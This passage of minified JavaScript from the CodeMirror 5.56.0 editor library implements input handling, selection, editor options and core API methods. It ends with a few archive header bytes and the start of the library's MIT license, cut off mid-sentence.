d.updateFromDOM()})),20)})),_g(g,"compositionstart",(function(a){d.composing={data:a.data,done:!1}})),_g(g,"compositionupdate",(function(a){d.composing||(d.composing={data:a.data,done:!1})})),_g(g,"compositionend",(function(a){d.composing&&(a.data!=d.composing.data&&d.readFromDOMSoon(),d.composing.done=!0)})),_g(g,"touchstart",(function(){return
e.forceCompositionEnd()})),_g(g,"input",(function(){d.composing||d.readFromDOMSoon()})),_g(g,"copy",c),_g(g,"cut",c)},ai.prototype.screenReaderLabelChanged=function(a){a?this.div.setAttribute("aria-label",a):this.div.removeAttribute("aria-label")},ai.prototype.prepareSelection=function(){var
a=Hc(this.cm,!1);return
a.focus=document.activeElement==this.div,a},ai.prototype.showSelection=function(a,b){a&&this.cm.display.view.length&&((a.focus||b)&&this.showPrimarySelection(),this.showMultipleSelections(a))},ai.prototype.getSelection=function(){return
this.cm.display.wrapper.ownerDocument.getSelection()},ai.prototype.showPrimarySelection=function(){var
a=this.getSelection(),b=this.cm,c=b.doc.sel.primary(),d=c.from(),e=c.to();if(b.display.viewTo==b.display.viewFrom||d.line>=b.display.viewTo||e.line<b.display.viewFrom)return
void a.removeAllRanges();var
f=jg(b,a.anchorNode,a.anchorOffset),g=jg(b,a.focusNode,a.focusOffset);if(!f||f.bad||!g||g.bad||0!=ia(ma(f,g),d)||0!=ia(la(f,g),e)){var
h=b.display.view,i=d.line>=b.display.viewFrom&&fg(b,d)||{node:h[0].measure.map[2],offset:0},j=e.line<b.display.viewTo&&fg(b,e);if(!j){var
k=h[h.length-1].measure,l=k.maps?k.maps[k.maps.length-1]:k.map;j={node:l[l.length-1],offset:l[l.length-2]-l[l.length-3]}}if(!i||!j)return
void a.removeAllRanges();var
m,n=a.rangeCount&&a.getRangeAt(0);try{m=Ig(i.node,i.offset,j.offset,j.node)}catch(a){}m&&(!og&&b.state.focused?(a.collapse(i.node,i.offset),m.collapsed||(a.removeAllRanges(),a.addRange(m))):(a.removeAllRanges(),a.addRange(m)),n&&null==a.anchorNode?a.addRange(n):og&&this.startGracePeriod()),this.rememberSelection()}},ai.prototype.startGracePeriod=function(){var
a=this;clearTimeout(this.gracePeriod),this.gracePeriod=setTimeout((function(){a.gracePeriod=!1,a.selectionChanged()&&a.cm.operation((function(){return
a.cm.curOp.selectionChanged=!0}))}),20)},ai.prototype.showMultipleSelections=function(a){c(this.cm.display.cursorDiv,a.cursors),c(this.cm.display.selectionDiv,a.selection)},ai.prototype.rememberSelection=function(){var
a=this.getSelection();this.lastAnchorNode=a.anchorNode,this.lastAnchorOffset=a.anchorOffset,this.lastFocusNode=a.focusNode,this.lastFocusOffset=a.focusOffset},ai.prototype.selectionInEditor=function(){var
a=this.getSelection();if(!a.rangeCount)return!1;var
b=a.getRangeAt(0).commonAncestorContainer;return
f(this.div,b)},ai.prototype.focus=function(){"nocursor"!=this.cm.options.readOnly&&(this.selectionInEditor()&&document.activeElement==this.div||this.showSelection(this.prepareSelection(),!0),this.div.focus())},ai.prototype.blur=function(){this.div.blur()},ai.prototype.getField=function(){return
this.div},ai.prototype.supportsTouch=function(){return!0},ai.prototype.receivedFocus=function(){function
a(){b.cm.state.focused&&(b.pollSelection(),b.polling.set(b.cm.options.pollInterval,a))}var
b=this;this.selectionInEditor()?this.pollSelection():qd(this.cm,(function(){return
b.cm.curOp.selectionChanged=!0})),this.polling.set(this.cm.options.pollInterval,a)},ai.prototype.selectionChanged=function(){var
a=this.getSelection();return
a.anchorNode!=this.lastAnchorNode||a.anchorOffset!=this.lastAnchorOffset||a.focusNode!=this.lastFocusNode||a.focusOffset!=this.lastFocusOffset},ai.prototype.pollSelection=function(){if(null==this.readDOMTimeout&&!this.gracePeriod&&this.selectionChanged()){var
a=this.getSelection(),b=this.cm;if(Cg&&wg&&this.cm.display.gutterSpecs.length&&gg(a.anchorNode))return
this.cm.triggerOnKeyDown({type:"keydown",keyCode:8,preventDefault:Math.abs}),this.blur(),void
this.focus();if(!this.composing){this.rememberSelection();var
c=jg(b,a.anchorNode,a.anchorOffset),d=jg(b,a.focusNode,a.focusOffset);c&&d&&qd(b,(function(){ve(b.doc,Pd(c,d),Sg),(c.bad||d.bad)&&(b.curOp.selectionChanged=!0)}))}}},ai.prototype.pollContent=function(){null!=this.readDOMTimeout&&(clearTimeout(this.readDOMTimeout),this.readDOMTimeout=null);var
a=this.cm,b=a.display,c=a.doc.sel.primary(),d=c.from(),e=c.to();if(0==d.ch&&d.line>a.firstLine()&&(d=ha(d.line-1,_(a.doc,d.line-1).length)),e.ch==_(a.doc,e.line).text.length&&e.line<a.lastLine()&&(e=ha(e.line+1,0)),d.line<b.viewFrom||e.line>b.viewTo-1)return!1;var
f,g,h;d.line==b.viewFrom||0==(f=zc(a,d.line))?(g=da(b.view[0].line),h=b.view[0].node):(g=da(b.view[f].line),h=b.view[f-1].node.nextSibling);var
i,j,k=zc(a,e.line);if(k==b.view.length-1?(i=b.viewTo-1,j=b.lineDiv.lastChild):(i=da(b.view[k+1].line)-1,j=b.view[k+1].node.previousSibling),!h)return!1;for(var
l=a.doc.splitLines(ig(a,h,j,g,i)),m=aa(a.doc,ha(g,0),ha(i,_(a.doc,i).text.length));l.length>1&&m.length>1;)if(p(l)==p(m))l.pop(),m.pop(),i--;else{if(l[0]!=m[0])break;l.shift(),m.shift(),g++}for(var
n=0,o=0,q=l[0],r=m[0],s=Math.min(q.length,r.length);n<s&&q.charCodeAt(n)==r.charCodeAt(n);)++n;for(var
t=p(l),u=p(m),v=Math.min(t.length-(1==l.length?n:0),u.length-(1==m.length?n:0));o<v&&t.charCodeAt(t.length-o-1)==u.charCodeAt(u.length-o-1);)++o;if(1==l.length&&1==m.length&&g==d.line)for(;n&&n>d.ch&&t.charCodeAt(t.length-o-1)==u.charCodeAt(u.length-o-1);)n--,o++;l[l.length-1]=t.slice(0,t.length-o).replace(/^\u200b+/,""),l[0]=l[0].slice(n).replace(/\u200b+$/,"");var
w=ha(g,n),x=ha(i,m.length?p(m).length-o:0);return
l.length>1||l[0]||ia(w,x)?(Le(a.doc,l,w,x,"+input"),!0):void
0},ai.prototype.ensurePolled=function(){this.forceCompositionEnd()},ai.prototype.reset=function(){this.forceCompositionEnd()},ai.prototype.forceCompositionEnd=function(){this.composing&&(clearTimeout(this.readDOMTimeout),this.composing=null,this.updateFromDOM(),this.div.blur(),this.div.focus())},ai.prototype.readFromDOMSoon=function(){var
a=this;null==this.readDOMTimeout&&(this.readDOMTimeout=setTimeout((function(){if(a.readDOMTimeout=null,a.composing){if(!a.composing.done)return;a.composing=null}a.updateFromDOM()}),80))},ai.prototype.updateFromDOM=function(){var
a=this;!this.cm.isReadOnly()&&this.pollContent()||qd(this.cm,(function(){return
Ac(a.cm)}))},ai.prototype.setUneditable=function(a){a.contentEditable="false"},ai.prototype.onKeyPress=function(a){0==a.charCode||this.composing||(a.preventDefault(),this.cm.isReadOnly()||rd(this.cm,Zf)(this.cm,String.fromCharCode(null==a.charCode?a.keyCode:a.charCode),0))},ai.prototype.readOnlyChanged=function(a){this.div.contentEditable=String("nocursor"!=a)},ai.prototype.onContextMenu=function(){},ai.prototype.resetPosition=function(){},ai.prototype.needsContentAttribute=!0;var
bi=function(a){this.cm=a,this.prevInput="",this.pollingFast=!1,this.polling=new
Ng,this.hasSelection=!1,this.composing=null};bi.prototype.init=function(a){function
b(a){if(!G(e,a)){if(e.somethingSelected())Yf({lineWise:!1,text:e.getSelections()});else{if(!e.options.lineWiseCopyCut)return;var
b=ag(e);Yf({lineWise:!0,text:b.text}),"cut"==a.type?e.setSelections(b.ranges,null,Sg):(d.prevInput="",f.value=b.text.join("\n"),Mg(f))}"cut"==a.type&&(e.state.cutIncoming=+new
Date)}}var c=this,d=this,e=this.cm;this.createField(a);var
f=this.textarea;a.wrapper.insertBefore(this.wrapper,a.wrapper.firstChild),Bg&&(f.style.width="0px"),_g(f,"input",(function(){sg&&tg>=9&&c.hasSelection&&(c.hasSelection=null),d.poll()})),_g(f,"paste",(function(a){G(e,a)||$f(a,e)||(e.state.pasteIncoming=+new
Date,d.fastPoll())})),_g(f,"cut",b),_g(f,"copy",b),_g(a.scroller,"paste",(function(b){if(!Jb(a,b)&&!G(e,b)){if(!f.dispatchEvent)return
e.state.pasteIncoming=+new Date,void d.focus();var c=new
Event("paste");c.clipboardData=b.clipboardData,f.dispatchEvent(c)}})),_g(a.lineSpace,"selectstart",(function(b){Jb(a,b)||K(b)})),_g(f,"compositionstart",(function(){var
a=e.getCursor("from");d.composing&&d.composing.range.clear(),d.composing={start:a,range:e.markText(a,e.getCursor("to"),{className:"CodeMirror-composing"})}})),_g(f,"compositionend",(function(){d.composing&&(d.poll(),d.composing.range.clear(),d.composing=null)}))},bi.prototype.createField=function(a){this.wrapper=cg(),this.textarea=this.wrapper.firstChild},bi.prototype.screenReaderLabelChanged=function(a){a?this.textarea.setAttribute("aria-label",a):this.textarea.removeAttribute("aria-label")},bi.prototype.prepareSelection=function(){var
a=this.cm,b=a.display,c=a.doc,d=Hc(a);if(a.options.moveInputWithCursor){var
e=ic(a,c.sel.primary().head,"div"),f=b.wrapper.getBoundingClientRect(),g=b.lineDiv.getBoundingClientRect();d.teTop=Math.max(0,Math.min(b.wrapper.clientHeight-10,e.top+g.top-f.top)),d.teLeft=Math.max(0,Math.min(b.wrapper.clientWidth-10,e.left+g.left-f.left))}return
d},bi.prototype.showSelection=function(a){var
b=this.cm,d=b.display;c(d.cursorDiv,a.cursors),c(d.selectionDiv,a.selection),null!=a.teTop&&(this.wrapper.style.top=a.teTop+"px",this.wrapper.style.left=a.teLeft+"px")},bi.prototype.reset=function(a){if(!this.contextMenuPending&&!this.composing){var
b=this.cm;if(b.somethingSelected()){this.prevInput="";var
c=b.getSelection();this.textarea.value=c,b.state.focused&&Mg(this.textarea),sg&&tg>=9&&(this.hasSelection=c)}else
a||(this.prevInput=this.textarea.value="",sg&&tg>=9&&(this.hasSelection=null))}},bi.prototype.getField=function(){return
this.textarea},bi.prototype.supportsTouch=function(){return!1},bi.prototype.focus=function(){if("nocursor"!=this.cm.options.readOnly&&(!Dg||g()!=this.textarea))try{this.textarea.focus()}catch(a){}},bi.prototype.blur=function(){this.textarea.blur()},bi.prototype.resetPosition=function(){this.wrapper.style.top=this.wrapper.style.left=0},bi.prototype.receivedFocus=function(){this.slowPoll()},bi.prototype.slowPoll=function(){var
a=this;this.pollingFast||this.polling.set(this.cm.options.pollInterval,(function(){a.poll(),a.cm.state.focused&&a.slowPoll()}))},bi.prototype.fastPoll=function(){function
a(){c.poll()||b?(c.pollingFast=!1,c.slowPoll()):(b=!0,c.polling.set(60,a))}var
b=!1,c=this;c.pollingFast=!0,c.polling.set(20,a)},bi.prototype.poll=function(){var
a=this,b=this.cm,c=this.textarea,d=this.prevInput;if(this.contextMenuPending||!b.state.focused||ch(c)&&!d&&!this.composing||b.isReadOnly()||b.options.disableInput||b.state.keySeq)return!1;var
e=c.value;if(e==d&&!b.somethingSelected())return!1;if(sg&&tg>=9&&this.hasSelection===e||Eg&&/[\uf700-\uf7ff]/.test(e))return
b.display.input.reset(),!1;if(b.doc.sel==b.display.selForContextMenu){var
f=e.charCodeAt(0);if(8203!=f||d||(d="​"),8666==f)return
this.reset(),this.cm.execCommand("undo")}for(var
g=0,h=Math.min(d.length,e.length);g<h&&d.charCodeAt(g)==e.charCodeAt(g);)++g;return
qd(b,(function(){Zf(b,e.slice(g),d.length-g,null,a.composing?"*compose":null),e.length>1e3||e.indexOf("\n")>-1?c.value=a.prevInput="":a.prevInput=e,a.composing&&(a.composing.range.clear(),a.composing.range=b.markText(a.composing.start,b.getCursor("to"),{className:"CodeMirror-composing"}))})),!0},bi.prototype.ensurePolled=function(){this.pollingFast&&this.poll()&&(this.pollingFast=!1)},bi.prototype.onKeyPress=function(){sg&&tg>=9&&(this.hasSelection=null),this.fastPoll()},bi.prototype.onContextMenu=function(a){function
b(){if(null!=g.selectionStart){var
a=e.somethingSelected(),b="​"+(a?g.value:"");g.value="⇚",g.value=b,d.prevInput=a?"":"​",g.selectionStart=1,g.selectionEnd=b.length,f.selForContextMenu=e.doc.sel}}function
c(){if(d.contextMenuPending==c&&(d.contextMenuPending=!1,d.wrapper.style.cssText=k,g.style.cssText=j,sg&&tg<9&&f.scrollbars.setScrollTop(f.scroller.scrollTop=i),null!=g.selectionStart)){(!sg||sg&&tg<9)&&b();var
a=0,h=function(){f.selForContextMenu==e.doc.sel&&0==g.selectionStart&&g.selectionEnd>0&&"​"==d.prevInput?rd(e,De)(e):a++<10?f.detectingSelectAll=setTimeout(h,500):(f.selForContextMenu=null,f.input.reset())};f.detectingSelectAll=setTimeout(h,200)}}var
d=this,e=d.cm,f=e.display,g=d.textarea;d.contextMenuPending&&d.contextMenuPending();var
h=yc(e,a),i=f.scroller.scrollTop;if(h&&!xg){e.options.resetSelectionOnContextMenu&&-1==e.doc.sel.contains(h)&&rd(e,ve)(e.doc,Pd(h),Sg);var
j=g.style.cssText,k=d.wrapper.style.cssText,l=d.wrapper.offsetParent.getBoundingClientRect();d.wrapper.style.cssText="position:
static",g.style.cssText="position: absolute; width: 30px; height:
30px;\n      top: "+(a.clientY-l.top-5)+"px; left:
"+(a.clientX-l.left-5)+"px;\n      z-index: 1000; background:
"+(sg?"rgba(255, 255, 255,
.05)":"transparent")+";\n      outline: none;
border-width: 0; outline: none; overflow: hidden; opacity: .05; filter:
alpha(opacity=5);";var
m;if(ug&&(m=window.scrollY),f.input.focus(),ug&&window.scrollTo(null,m),f.input.reset(),e.somethingSelected()||(g.value=d.prevInput="
"),d.contextMenuPending=c,f.selForContextMenu=e.doc.sel,clearTimeout(f.detectingSelectAll),sg&&tg>=9&&b(),Kg){N(a);var
n=function(){E(window,"mouseup",n),setTimeout(c,20)};_g(window,"mouseup",n)}else
setTimeout(c,50)}},bi.prototype.readOnlyChanged=function(a){a||this.reset(),this.textarea.disabled="nocursor"==a},bi.prototype.setUneditable=function(){},bi.prototype.needsContentAttribute=!1,(function(a){function
b(b,d,e,f){a.defaults[b]=d,e&&(c[b]=f?function(a,b,c){c!=Xh&&e(a,b,c)}:e)}var
c=a.optionHandlers;a.defineOption=b,a.Init=Xh,b("value","",(function(a,b){return
a.setValue(b)}),!0),b("mode",null,(function(a,b){a.doc.modeOption=b,Vd(a)}),!0),b("indentUnit",2,Vd,!0),b("indentWithTabs",!1),b("smartIndent",!0),b("tabSize",4,(function(a){Wd(a),bc(a),Ac(a)}),!0),b("lineSeparator",null,(function(a,b){if(a.doc.lineSep=b,b){var
c=[],d=a.doc.first;a.doc.iter((function(a){for(var e=0;;){var
f=a.text.indexOf(b,e);if(-1==f)break;e=f+b.length,c.push(ha(d,f))}d++}));for(var
e=c.length-1;e>=0;e--)Le(a.doc,b,c[e],ha(c[e].line,c[e].ch+b.length))}})),b("specialChars",/[\u0000-\u001f\u007f-\u009f\u00ad\u061c\u200b-\u200c\u200e\u200f\u2028\u2029\ufeff\ufff9-\ufffc]/g,(function(a,b,c){a.state.specialChars=new
RegExp(b.source+(b.test("\t")?"":"|\t"),"g"),c!=Xh&&a.refresh()})),b("specialCharPlaceholder",jb,(function(a){return
a.refresh()}),!0),b("electricChars",!0),b("inputStyle",Dg?"contenteditable":"textarea",(function(){throw
new Error("inputStyle can not (yet) be changed in a running
editor")}),!0),b("spellcheck",!1,(function(a,b){return
a.getInputField().spellcheck=b}),!0),b("autocorrect",!1,(function(a,b){return
a.getInputField().autocorrect=b}),!0),b("autocapitalize",!1,(function(a,b){return
a.getInputField().autocapitalize=b}),!0),b("rtlMoveVisually",!Gg),b("wholeLineUpdateBefore",!0),b("theme","default",(function(a){Sf(a),Jd(a)}),!0),b("keyMap","default",(function(a,b,c){var
d=mf(b),e=c!=Xh&&mf(c);e&&e.detach&&e.detach(a,d),d.attach&&d.attach(a,e||null)})),b("extraKeys",null),b("configureMouse",null),b("lineWrapping",!1,Uf,!0),b("gutters",[],(function(a,b){a.display.gutterSpecs=Hd(b,a.options.lineNumbers),Jd(a)}),!0),b("fixedGutter",!0,(function(a,b){a.display.gutters.style.left=b?vc(a.display)+"px":"0",a.refresh()}),!0),b("coverGutterNextToScrollbar",!1,(function(a){return
fd(a)}),!0),b("scrollbarStyle","native",(function(a){hd(a),fd(a),a.display.scrollbars.setScrollTop(a.doc.scrollTop),a.display.scrollbars.setScrollLeft(a.doc.scrollLeft)}),!0),b("lineNumbers",!1,(function(a,b){
a.display.gutterSpecs=Hd(a.options.gutters,b),Jd(a)}),!0),b("firstLineNumber",1,Jd,!0),b("lineNumberFormatter",(function(a){return
a}),Jd,!0),b("showCursorWhenSelecting",!1,Gc,!0),b("resetSelectionOnContextMenu",!0),b("lineWiseCopyCut",!0),b("pasteLinesPerSelection",!0),b("selectionsMayTouch",!1),b("readOnly",!1,(function(a,b){"nocursor"==b&&(Pc(a),a.display.input.blur()),a.display.input.readOnlyChanged(b)})),b("screenReaderLabel",null,(function(a,b){b=""===b?null:b,a.display.input.screenReaderLabelChanged(b)})),b("disableInput",!1,(function(a,b){b||a.display.input.reset()}),!0),b("dragDrop",!0,Tf),b("allowDropFileTypes",null),b("cursorBlinkRate",530),b("cursorScrollMargin",0),b("cursorHeight",1,Gc,!0),b("singleCursorHeightPerLine",!0,Gc,!0),b("workTime",100),b("workDelay",100),b("flattenSpans",!0,Wd,!0),b("addModeClass",!1,Wd,!0),b("pollInterval",100),b("undoDepth",200,(function(a,b){return
a.doc.history.undoDepth=b})),b("historyEventDelay",1250),b("viewportMargin",10,(function(a){return
a.refresh()}),!0),b("maxHighlightLength",1e4,Wd,!0),b("moveInputWithCursor",!0,(function(a,b){b||a.display.input.resetPosition()})),b("tabindex",null,(function(a,b){return
a.display.input.getField().tabIndex=b||""})),b("autofocus",null),b("direction","ltr",(function(a,b){return
a.doc.setDirection(b)}),!0),b("phrases",null)})(Vf),(function(a){var
b=a.optionHandlers,c=a.helpers={};a.prototype={constructor:a,focus:function(){window.focus(),this.display.input.focus()},setOption:function(a,c){var
d=this.options,e=d[a];d[a]==c&&"mode"!=a||(d[a]=c,b.hasOwnProperty(a)&&rd(this,b[a])(this,c,e),F(this,"optionChange",this,a))},getOption:function(a){return
this.options[a]},getDoc:function(){return
this.doc},addKeyMap:function(a,b){this.state.keyMaps[b?"push":"unshift"](mf(a))},removeKeyMap:function(a){for(var
b=this.state.keyMaps,c=0;c<b.length;++c)if(b[c]==a||b[c].name==a)return
b.splice(c,1),!0},addOverlay:sd((function(b,c){var
d=b.token?b:a.getMode(this.options,b);if(d.startState)throw new
Error("Overlays may not be
stateful.");r(this.state.overlays,{mode:d,modeSpec:b,opaque:c&&c.opaque,priority:c&&c.priority||0},(function(a){return
a.priority})),this.state.modeGen++,Ac(this)})),removeOverlay:sd((function(a){for(var
b=this.state.overlays,c=0;c<b.length;++c){var
d=b[c].modeSpec;if(d==a||"string"==typeof
a&&d.name==a)return b.splice(c,1),this.state.modeGen++,void
Ac(this)}})),indentLine:sd((function(a,b,c){"string"!=typeof
b&&"number"!=typeof
b&&(b=null==b?this.options.smartIndent?"smart":"prev":b?"add":"subtract"),fa(this.doc,a)&&Xf(this,a,b,c)})),indentSelection:sd((function(a){for(var
b=this.doc.sel.ranges,c=-1,d=0;d<b.length;d++){var
e=b[d];if(e.empty())e.head.line>c&&(Xf(this,e.head.line,a,!0),c=e.head.line,d==this.doc.sel.primIndex&&Yc(this));else{var
f=e.from(),g=e.to(),h=Math.max(c,f.line);c=Math.min(this.lastLine(),g.line-(g.ch?0:1))+1;for(var
i=h;i<c;++i)Xf(this,i,a);var
j=this.doc.sel.ranges;0==f.ch&&b.length==j.length&&j[d].from().ch>0&&re(this.doc,d,new
Dh(f,j[d].to()),Sg)}}})),getTokenAt:function(a,b){return
xa(this,a,b)},getLineTokens:function(a,b){return
xa(this,ha(a),b,!0)},getTokenTypeAt:function(a){a=oa(this.doc,a);var
b,c=sa(this,_(this.doc,a.line)),d=0,e=(c.length-1)/2,f=a.ch;if(0==f)b=c[2];else
for(;;){var
g=d+e>>1;if((g?c[2*g-1]:0)>=f)e=g;else{if(!(c[2*g+1]<f)){b=c[2*g+2];break}d=g+1}}var
h=b?b.indexOf("overlay "):-1;return
h<0?b:0==h?null:b.slice(0,h-1)},getModeAt:function(b){var
c=this.doc.mode;return
c.innerMode?a.innerMode(c,this.getTokenAt(b).state).mode:c},getHelper:function(a,b){return
this.getHelpers(a,b)[0]},getHelpers:function(a,b){var
d=[];if(!c.hasOwnProperty(b))return d;var
e=c[b],f=this.getModeAt(a);if("string"==typeof
f[b])e[f[b]]&&d.push(e[f[b]]);else if(f[b])for(var
g=0;g<f[b].length;g++){var h=e[f[b][g]];h&&d.push(h)}else
f.helperType&&e[f.helperType]?d.push(e[f.helperType]):e[f.name]&&d.push(e[f.name]);for(var
i=0;i<e._global.length;i++){var
j=e._global[i];j.pred(f,this)&&-1==m(d,j.val)&&d.push(j.val)}return
d},getStateAfter:function(a,b){var c=this.doc;return
a=na(c,null==a?c.first+c.size-1:a),ta(this,a+1,b).state},cursorCoords:function(a,b){var
c,d=this.doc.sel.primary();return
c=null==a?d.head:"object"==typeof
a?oa(this.doc,a):a?d.from():d.to(),ic(this,c,b||"page")},charCoords:function(a,b){return
hc(this,oa(this.doc,a),b||"page")},coordsChar:function(a,b){return
a=gc(this,a,b||"page"),lc(this,a.left,a.top)},lineAtHeight:function(a,b){return
a=gc(this,{top:a,left:0},b||"page").top,ea(this.doc,a+this.display.viewOffset)},heightAtLine:function(a,b,c){var
d,e=!1;if("number"==typeof a){var
f=this.doc.first+this.doc.size-1;a<this.doc.first?a=this.doc.first:a>f&&(a=f,e=!0),d=_(this.doc,a)}else
d=a;return
fc(this,d,{top:0,left:0},b||"page",c||e).top+(e?this.doc.height-cb(d):0)},defaultTextHeight:function(){return
sc(this.display)},defaultCharWidth:function(){return
tc(this.display)},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(a,b,c,d,e){var
f=this.display;a=ic(this,oa(this.doc,a));var
g=a.bottom,h=a.left;if(b.style.position="absolute",b.setAttribute("cm-ignore-events","true"),this.display.input.setUneditable(b),f.sizer.appendChild(b),"over"==d)g=a.top;else
if("above"==d||"near"==d){var
i=Math.max(f.wrapper.clientHeight,this.doc.height),j=Math.max(f.sizer.clientWidth,f.lineSpace.clientWidth);("above"==d||a.bottom+b.offsetHeight>i)&&a.top>b.offsetHeight?g=a.top-b.offsetHeight:a.bottom+b.offsetHeight<=i&&(g=a.bottom),h+b.offsetWidth>j&&(h=j-b.offsetWidth)}b.style.top=g+"px",b.style.left=b.style.right="","right"==e?(h=f.sizer.clientWidth-b.offsetWidth,b.style.right="0px"):("left"==e?h=0:"middle"==e&&(h=(f.sizer.clientWidth-b.offsetWidth)/2),b.style.left=h+"px"),c&&Vc(this,{left:h,top:g,right:h+b.offsetWidth,bottom:g+b.offsetHeight})},triggerOnKeyDown:sd(Bf),triggerOnKeyPress:sd(Ef),triggerOnKeyUp:Df,triggerOnMouseDown:sd(Gf),execCommand:function(a){if(Rh.hasOwnProperty(a))return
Rh[a].call(null,this)},triggerElectric:sd((function(a){_f(this,a)})),findPosH:function(a,b,c,d){var
e=1;b<0&&(e=-1,b=-b);for(var
f=oa(this.doc,a),g=0;g<b&&(f=dg(this.doc,f,e,c,d),!f.hitSide);++g);return
f},moveH:sd((function(a,b){var
c=this;this.extendSelectionsBy((function(d){return
c.display.shift||c.doc.extend||d.empty()?dg(c.doc,d.head,a,b,c.options.rtlMoveVisually):a<0?d.from():d.to()}),Ug)})),deleteH:sd((function(a,b){var
c=this.doc.sel,d=this.doc;c.somethingSelected()?d.replaceSelection("",null,"+delete"):nf(this,(function(c){var
e=dg(d,c.head,a,b,!1);return
a<0?{from:e,to:c.head}:{from:c.head,to:e}}))})),findPosV:function(a,b,c,d){var
e=1,f=d;b<0&&(e=-1,b=-b);for(var
g=oa(this.doc,a),h=0;h<b;++h){var
i=ic(this,g,"div");if(null==f?f=i.left:i.left=f,g=eg(this,i,e,c),g.hitSide)break}return
g},moveV:sd((function(a,b){var
c=this,d=this.doc,e=[],f=!this.display.shift&&!d.extend&&d.sel.somethingSelected();if(d.extendSelectionsBy((function(g){if(f)return
a<0?g.from():g.to();var
h=ic(c,g.head,"div");null!=g.goalColumn&&(h.left=g.goalColumn),e.push(h.left);var
i=eg(c,h,a,b);return"page"==b&&g==d.sel.primary()&&Xc(c,hc(c,i,"div").top-h.top),i}),Ug),e.length)for(var
g=0;g<d.sel.ranges.length;g++)d.sel.ranges[g].goalColumn=e[g]})),findWordAt:function(a){var
b=this.doc,c=_(b,a.line).text,d=a.ch,e=a.ch;if(c){var
f=this.getHelper(a,"wordChars");"before"!=a.sticky&&e!=c.length||!d?++e:--d;for(var
g=c.charAt(d),h=v(g,f)?function(a){return
v(a,f)}:/\s/.test(g)?function(a){return/\s/.test(a)}:function(a){return!/\s/.test(a)&&!v(a)};d>0&&h(c.charAt(d-1));)--d;for(;e<c.length&&h(c.charAt(e));)++e}return
new
Dh(ha(a.line,d),ha(a.line,e))},toggleOverwrite:function(a){null!=a&&a==this.state.overwrite||((this.state.overwrite=!this.state.overwrite)?h(this.display.cursorDiv,"CodeMirror-overwrite"):Lg(this.display.cursorDiv,"CodeMirror-overwrite"),F(this,"overwriteToggle",this,this.state.overwrite))},hasFocus:function(){return
this.display.input.getField()==g()},isReadOnly:function(){return!(!this.options.readOnly&&!this.doc.cantEdit)},scrollTo:sd((function(a,b){Zc(this,a,b)})),getScrollInfo:function(){var
a=this.display.scroller;return{left:a.scrollLeft,top:a.scrollTop,height:a.scrollHeight-Nb(this)-this.display.barHeight,width:a.scrollWidth-Nb(this)-this.display.barWidth,clientHeight:Pb(this),clientWidth:Ob(this)}},scrollIntoView:sd((function(a,b){null==a?(a={from:this.doc.sel.primary().head,to:null},null==b&&(b=this.options.cursorScrollMargin)):"number"==typeof
a?a={from:ha(a,0),to:null}:null==a.from&&(a={from:a,to:null}),a.to||(a.to=a.from),a.margin=b||0,null!=a.from.line?$c(this,a):ad(this,a.from,a.to,a.margin)})),setSize:sd((function(a,b){var
c=this,d=function(a){return"number"==typeof
a||/^\d+$/.test(String(a))?a+"px":a};null!=a&&(this.display.wrapper.style.width=d(a)),null!=b&&(this.display.wrapper.style.height=d(b)),this.options.lineWrapping&&ac(this);var
e=this.display.viewFrom;this.doc.iter(e,this.display.viewTo,(function(a){if(a.widgets)for(var
b=0;b<a.widgets.length;b++)if(a.widgets[b].noHScroll){Bc(c,e,"widget");break}++e})),this.curOp.forceUpdate=!0,F(this,"refresh",this)})),operation:function(a){return
qd(this,a)},startOperation:function(){return
id(this)},endOperation:function(){return
jd(this)},refresh:sd((function(){var
a=this.display.cachedTextHeight;Ac(this),this.curOp.forceUpdate=!0,bc(this),Zc(this,this.doc.scrollLeft,this.doc.scrollTop),Dd(this.display),(null==a||Math.abs(a-sc(this.display))>.5||this.options.lineWrapping)&&xc(this),F(this,"refresh",this)})),swapDoc:sd((function(a){var
b=this.doc;return
b.cm=null,this.state.selectingText&&this.state.selectingText(),$d(this,a),bc(this),this.display.input.reset(),Zc(this,a.scrollLeft,a.scrollTop),this.curOp.forceScroll=!0,ub(this,"swapDoc",this,b),b})),phrase:function(a){var
b=this.options.phrases;return
b&&Object.prototype.hasOwnProperty.call(b,a)?b[a]:a},getInputField:function(){return
this.display.input.getField()},getWrapperElement:function(){return
this.display.wrapper},getScrollerElement:function(){return
this.display.scroller},getGutterElement:function(){return
this.display.gutters}},J(a),a.registerHelper=function(b,d,e){c.hasOwnProperty(b)||(c[b]=a[b]={_global:[]}),c[b][d]=e},a.registerGlobalHelper=function(b,d,e,f){a.registerHelper(b,d,f),c[b]._global.push({pred:e,val:f})}})(Vf);var
ci="iter insert remove copy getEditor constructor".split("
");for(var di in
Jh.prototype)Jh.prototype.hasOwnProperty(di)&&m(ci,di)<0&&(Vf.prototype[di]=(function(a){return
function(){return a.apply(this.doc,arguments)}})(Jh.prototype[di]));return
J(Jh),Vf.inputStyles={textarea:bi,contenteditable:ai},Vf.defineMode=function(a){Vf.defaults.mode||"null"==a||(Vf.defaults.mode=a),T.apply(this,arguments)},Vf.defineMIME=U,Vf.defineMode("null",(function(){return{token:function(a){return
a.skipToEnd()}}})),Vf.defineMIME("text/plain","null"),Vf.defineExtension=function(a,b){Vf.prototype[a]=b},Vf.defineDocExtension=function(a,b){Jh.prototype[a]=b},Vf.fromTextArea=lg,(function(a){a.off=E,a.on=_g,a.wheelEventPixels=Md,a.Doc=Jh,a.splitLines=bh,a.countColumn=l,a.findColumn=n,a.isWordChar=u,a.Pass=Rg,a.signal=F,a.Line=oh,a.changeEnd=Qd,a.scrollbarModel=xh,a.Pos=ha,a.cmpPos=ia,a.modes=fh,a.mimeModes=gh,a.resolveMode=V,a.getMode=W,a.modeExtensions=hh,a.extendMode=X,a.copyState=Y,a.startState=$,a.innerMode=Z,a.commands=Rh,a.keyMap=Qh,a.keyName=lf,a.isModifierKey=jf,a.lookupKey=hf,a.normalizeKeyMap=gf,a.StringStream=ih,a.SharedTextMarker=Hh,a.TextMarker=Gh,a.LineWidget=Eh,a.e_preventDefault=K,a.e_stopPropagation=L,a.e_stop=N,a.addClass=h,a.contains=f,a.rmClass=Lg,a.keyNames=Mh})(Vf),Vf.version="5.56.0",Vf}));PKD��[�+=+SScodemirror/LICENSEnu�[���MIT
License

Copyright (C) 2017 by Marijn Haverbeke <marijnh@gmail.com> and others

Permission is hereby granted, free of charge, to any person obtaining a
copy
of this software and associated documentation files (the
"Software"), to deal
in the Software without restriction, including without limitation the
rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
